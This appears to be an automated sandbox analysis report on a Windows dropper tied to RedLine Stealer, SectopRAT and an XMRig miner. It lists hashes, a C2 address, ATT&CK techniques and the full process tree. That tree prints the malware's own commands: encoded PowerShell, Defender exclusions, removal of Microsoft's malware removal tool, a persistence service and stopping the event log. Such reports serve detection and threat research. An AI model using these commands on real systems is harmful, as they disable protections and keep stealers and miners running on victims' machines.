redline | 6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957

Analysis

max time kernel
149s
max time network
140s
platform
windows11-21h2_x64
resource
win11-20240214-en
resource tags

arch:x64arch:x86image:win11-20240214-enlocale:en-usos:windows11-21h2-x64system
submitted
28-03-2024 22:11

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General

Target

6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe
Size

2.6MB
MD5

55e393da1714013720ddf266c7906f43
SHA1

91a636913604184c010c2d9e0b331a804a2c0ab4
SHA256

6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957
SHA512

40a61e1d461717e45eff3be6b22561ac39c2ef1af39b46f7d149fe823d14a06bb99605a78e794d6447ece43ce6b4854192e47ad993ed4a2e78479bc7e155fe8a
SSDEEP

49152:VvONaX/Lpt/IvKfeF4tIDpdIA/gvCRtDKYZ8NfBcPQSqzULJgxl6Y4KB7KkP3C+Y:VGNajwvKfpyMdvCRNZZ8NJcPQSEU9Q6z

Score

10^/10

redline sectoprat xmrig tg evasion infostealer miner persistence rat trojan upx

Malware Config

Extracted

Family

redline

Botnet

163.5.112.53:51523

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\b.exe	family_redline
behavioral2/memory/3076-21-0x0000000000AB0000-0x0000000000ACE000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\b.exe	family_sectoprat
behavioral2/memory/3076-21-0x0000000000AB0000-0x0000000000ACE000-memory.dmp	family_sectoprat

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 13 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/432-152-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/432-153-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/432-155-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/432-156-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/432-157-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/432-158-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/432-159-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/432-160-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/432-161-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/432-163-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/432-164-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/432-165-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/432-166-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489
Executes dropped EXE 3 IoCs

Processes:

a.exeb.exewfnmgjmvvtwt.exe

pid process

896 a.exe
3076 b.exe
3580 wfnmgjmvvtwt.exe

pid	process
896	a.exe
3076	b.exe
3580	wfnmgjmvvtwt.exe

UPX packed file 18 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/432-147-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-148-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-149-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-150-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-151-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-152-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-153-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-155-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-156-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-157-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-158-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-159-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-160-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-161-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-163-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-164-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-165-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/432-166-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Drops file in System32 directory 4 IoCs

Processes:

a.exepowershell.exewfnmgjmvvtwt.exe

description	ioc	process
File opened for modification	C:\Windows\system32\MRT.exe	a.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	wfnmgjmvvtwt.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

wfnmgjmvvtwt.exe

description	pid	process	target process
PID 3580 set thread context of 4660	3580	wfnmgjmvvtwt.exe	conhost.exe
PID 3580 set thread context of 432	3580	wfnmgjmvvtwt.exe	conhost.exe

Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid process

2848 sc.exe
1368 sc.exe
3148 sc.exe
1532 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
2848	sc.exe
1368	sc.exe
3148	sc.exe
1532	sc.exe

Modifies data under HKEY_USERS 46 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exea.exepowershell.exewfnmgjmvvtwt.exepowershell.execonhost.exe

pid	process
4972	powershell.exe
4000	powershell.exe
4000	powershell.exe
4972	powershell.exe
896	a.exe
2328	powershell.exe
2328	powershell.exe
896	a.exe
896	a.exe
896	a.exe
896	a.exe
896	a.exe
3580	wfnmgjmvvtwt.exe
4128	powershell.exe
4128	powershell.exe
3580	wfnmgjmvvtwt.exe
3580	wfnmgjmvvtwt.exe
3580	wfnmgjmvvtwt.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe
432	conhost.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exeb.exepowershell.exepowershell.execonhost.exe

description	pid	process
Token: SeDebugPrivilege	4000	powershell.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	3076	b.exe
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeDebugPrivilege	4128	powershell.exe
Token: SeLockMemoryPrivilege	432	conhost.exe

Suspicious use of WriteProcessMemory 29 IoCs

Processes:

6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.execmd.exewfnmgjmvvtwt.execmd.exe

description	pid	process	target process
PID 1572 wrote to memory of 4972	1572	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	powershell.exe
PID 1572 wrote to memory of 4972	1572	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	powershell.exe
PID 1572 wrote to memory of 4972	1572	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	powershell.exe
PID 1572 wrote to memory of 4000	1572	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	powershell.exe
PID 1572 wrote to memory of 4000	1572	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	powershell.exe
PID 1572 wrote to memory of 4000	1572	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	powershell.exe
PID 1572 wrote to memory of 896	1572	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	a.exe
PID 1572 wrote to memory of 896	1572	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	a.exe
PID 1572 wrote to memory of 3076	1572	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	b.exe
PID 1572 wrote to memory of 3076	1572	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	b.exe
PID 1572 wrote to memory of 3076	1572	6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe	b.exe
PID 2076 wrote to memory of 1444	2076	cmd.exe	wusa.exe
PID 2076 wrote to memory of 1444	2076	cmd.exe	wusa.exe
PID 3580 wrote to memory of 4660	3580	wfnmgjmvvtwt.exe	conhost.exe
PID 3580 wrote to memory of 4660	3580	wfnmgjmvvtwt.exe	conhost.exe
PID 3580 wrote to memory of 4660	3580	wfnmgjmvvtwt.exe	conhost.exe
PID 3580 wrote to memory of 4660	3580	wfnmgjmvvtwt.exe	conhost.exe
PID 3580 wrote to memory of 4660	3580	wfnmgjmvvtwt.exe	conhost.exe
PID 2128 wrote to memory of 1472	2128	cmd.exe	wusa.exe
PID 2128 wrote to memory of 1472	2128	cmd.exe	wusa.exe
PID 3580 wrote to memory of 4660	3580	wfnmgjmvvtwt.exe	conhost.exe
PID 3580 wrote to memory of 4660	3580	wfnmgjmvvtwt.exe	conhost.exe
PID 3580 wrote to memory of 4660	3580	wfnmgjmvvtwt.exe	conhost.exe
PID 3580 wrote to memory of 4660	3580	wfnmgjmvvtwt.exe	conhost.exe
PID 3580 wrote to memory of 432	3580	wfnmgjmvvtwt.exe	conhost.exe
PID 3580 wrote to memory of 432	3580	wfnmgjmvvtwt.exe	conhost.exe
PID 3580 wrote to memory of 432	3580	wfnmgjmvvtwt.exe	conhost.exe
PID 3580 wrote to memory of 432	3580	wfnmgjmvvtwt.exe	conhost.exe
PID 3580 wrote to memory of 432	3580	wfnmgjmvvtwt.exe	conhost.exe

C:\Users\Admin\AppData\Local\Temp\6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe
"C:\Users\Admin\AppData\Local\Temp\6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1572

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAdABpACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGsAcABhACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVABoAGkAcwAgAGMAbwBtAHAAdQB0AGUAcgAgAGkAcwAgAG4AbwB0ACAAcwB1AHAAcABvAHIAdABlAGQALAAgAHAAbABlAGEAcwBlACAAdAByAHkAIABhAGcAYQBpAG4AIABvAG4AIABhAG4AbwB0AGgAZQByACcALAAnACcALAAnAE8ASwAnACwAJwBFAHIAcgBvAHIAJwApADwAIwB5AGMAYQAjAD4A"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4972

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAbABmACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAagBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHkAYwBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAcAB5ACMAPgA="
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4000

C:\Users\Admin\AppData\Roaming\a.exe
"C:\Users\Admin\AppData\Roaming\a.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:896

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2328

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
3⤵
- Suspicious use of WriteProcessMemory
PID:2076

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
4⤵
PID:1444

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "TDFIYZSJ"
3⤵
- Launches sc.exe
PID:1532

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "TDFIYZSJ" binpath= "C:\ProgramData\tcxbtjpidyhi\wfnmgjmvvtwt.exe" start= "auto"
3⤵
- Launches sc.exe
PID:2848

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
- Launches sc.exe
PID:3148

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "TDFIYZSJ"
3⤵
- Launches sc.exe
PID:1368

C:\Users\Admin\AppData\Roaming\b.exe
"C:\Users\Admin\AppData\Roaming\b.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3076

C:\ProgramData\tcxbtjpidyhi\wfnmgjmvvtwt.exe
C:\ProgramData\tcxbtjpidyhi\wfnmgjmvvtwt.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3580

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4128

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
2⤵
- Suspicious use of WriteProcessMemory
PID:2128

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:1472

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
2⤵
PID:4660

C:\Windows\system32\conhost.exe
conhost.exe
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:432

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

T1489

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d0c46cad6c0778401e21910bd6b56b70

SHA1
7be418951ea96326aca445b8dfe449b2bfa0dca6

SHA256
9600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02

SHA512
057531b468f7fbbb2175a696a8aab274dec0d17d9f71df309edcff35e064f3378050066a3df47ccd03048fac461594ec75e3d4fe64f9dd79949d129f51e02949

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
609B

MD5
cc7d21ac7fb32c54dec5ad6722f2cc29

SHA1
783fc779dc61df9fb93f51a1f61673473fc550c1

SHA256
573a61827e7124be692ff82c3c254de52dbc20d2cc063e6b44074b960b2f3033

SHA512
fc44270c40f4a1ce70f1582baecde01f7827baf9516de06c70f01387311e2877c65c5cd0762bd31998c8b2913b0d33a3c8f8f8d81a799e68581866c377f911a3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
17KB

MD5
62fee06e06ce7d1bbe167d7d2cc8e5d4

SHA1
584158a18c1b700715381598302a1c05917cea97

SHA256
cec10875e84c83a5776443f81a50ca984402f08cc618f72f46b3c479bc50762f

SHA512
2f1e92a1dc9e2f02b102a0ef176c4bb98c71642d02b60ee260e12019c8290c5786fb37cc8611989a6f6d2f281370dcd9167844a8cf3f80b74189e262ef54f5b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_10afn1af.s15.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\a.exe
Filesize
2.5MB

MD5
6fd62e635b39a02ba8cac6fc124c9475

SHA1
e13080b9cc546e44a9f1c419ba86aeb190a14b2d

SHA256
78b9d7e485026278b02a1961999ad99cdfa988fbf4403767db5d10d1473e9870

SHA512
e77432582e6abcc0fd86ed997c9c4619bd67a044d33a752e1cf3ceb8008cea27c540949183b80f9dee8a41614cff54afe79c5db294efcb72b27685fcf1010cdc

Download Submit
C:\Users\Admin\AppData\Roaming\b.exe
Filesize
95KB

MD5
184ac479b3a878e9ac5535770ca34a2b

SHA1
1f99039911cc2cfd1a62ce348429ddd0f4435a60

SHA256
8e28a0090832a76cf71c417cb1bf7990b9af86be258b732117a47f624387083c

SHA512
e0f5185ae890b902ea5325066df23959106712e7990e120a1b9752bbd0331cac968af5ddd6092f75a1c576d4c83f4093dfbf53a2c90870d1c02b31a0e8282bb4

Download Submit
memory/432-152-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-148-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-165-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-164-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-163-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-162-0x0000022027770000-0x0000022027790000-memory.dmp

Filesize
128KB

Download
memory/432-166-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-170-0x00000220277B0000-0x00000220277D0000-memory.dmp

Filesize
128KB

Download
memory/432-161-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-160-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-169-0x0000022027790000-0x00000220277B0000-memory.dmp

Filesize
128KB

Download
memory/432-168-0x00000220277B0000-0x00000220277D0000-memory.dmp

Filesize
128KB

Download
memory/432-147-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-149-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-150-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-159-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-151-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-167-0x0000022027790000-0x00000220277B0000-memory.dmp

Filesize
128KB

Download
memory/432-158-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-157-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-156-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-155-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/432-154-0x0000022027320000-0x0000022027340000-memory.dmp

Filesize
128KB

Download
memory/432-153-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/2328-102-0x00007FF993DA0000-0x00007FF994862000-memory.dmp

Filesize
10.8MB

Download
memory/2328-93-0x00000249F3490000-0x00000249F34B2000-memory.dmp

Filesize
136KB

Download
memory/2328-98-0x00007FF993DA0000-0x00007FF994862000-memory.dmp

Filesize
10.8MB

Download
memory/2328-99-0x00000249F3380000-0x00000249F3390000-memory.dmp

Filesize
64KB

Download
memory/3076-51-0x0000000005490000-0x00000000054DC000-memory.dmp

Filesize
304KB

Download
memory/3076-27-0x0000000005B40000-0x0000000006158000-memory.dmp

Filesize
6.1MB

Download
memory/3076-21-0x0000000000AB0000-0x0000000000ACE000-memory.dmp

Filesize
120KB

Download
memory/3076-87-0x0000000073000000-0x00000000737B1000-memory.dmp

Filesize
7.7MB

Download
memory/3076-52-0x0000000005510000-0x0000000005520000-memory.dmp

Filesize
64KB

Download
memory/3076-30-0x00000000053F0000-0x0000000005402000-memory.dmp

Filesize
72KB

Download
memory/3076-54-0x0000000005700000-0x000000000580A000-memory.dmp

Filesize
1.0MB

Download
memory/3076-31-0x0000000073000000-0x00000000737B1000-memory.dmp

Filesize
7.7MB

Download
memory/3076-43-0x0000000005450000-0x000000000548C000-memory.dmp

Filesize
240KB

Download
memory/4000-56-0x000000007EF90000-0x000000007EFA0000-memory.dmp

Filesize
64KB

Download
memory/4000-75-0x00000000074D0000-0x00000000074E1000-memory.dmp

Filesize
68KB

Download
memory/4000-82-0x0000000073000000-0x00000000737B1000-memory.dmp

Filesize
7.7MB

Download
memory/4000-79-0x0000000007600000-0x0000000007608000-memory.dmp

Filesize
32KB

Download
memory/4000-78-0x0000000007610000-0x000000000762A000-memory.dmp

Filesize
104KB

Download
memory/4000-77-0x0000000007520000-0x0000000007535000-memory.dmp

Filesize
84KB

Download
memory/4000-76-0x0000000007510000-0x000000000751E000-memory.dmp

Filesize
56KB

Download
memory/4000-19-0x0000000073000000-0x00000000737B1000-memory.dmp

Filesize
7.7MB

Download
memory/4000-23-0x00000000052D0000-0x00000000058FA000-memory.dmp

Filesize
6.2MB

Download
memory/4000-24-0x0000000004C90000-0x0000000004CA0000-memory.dmp

Filesize
64KB

Download
memory/4000-25-0x0000000004C90000-0x0000000004CA0000-memory.dmp

Filesize
64KB

Download
memory/4000-26-0x0000000004FC0000-0x0000000004FE2000-memory.dmp

Filesize
136KB

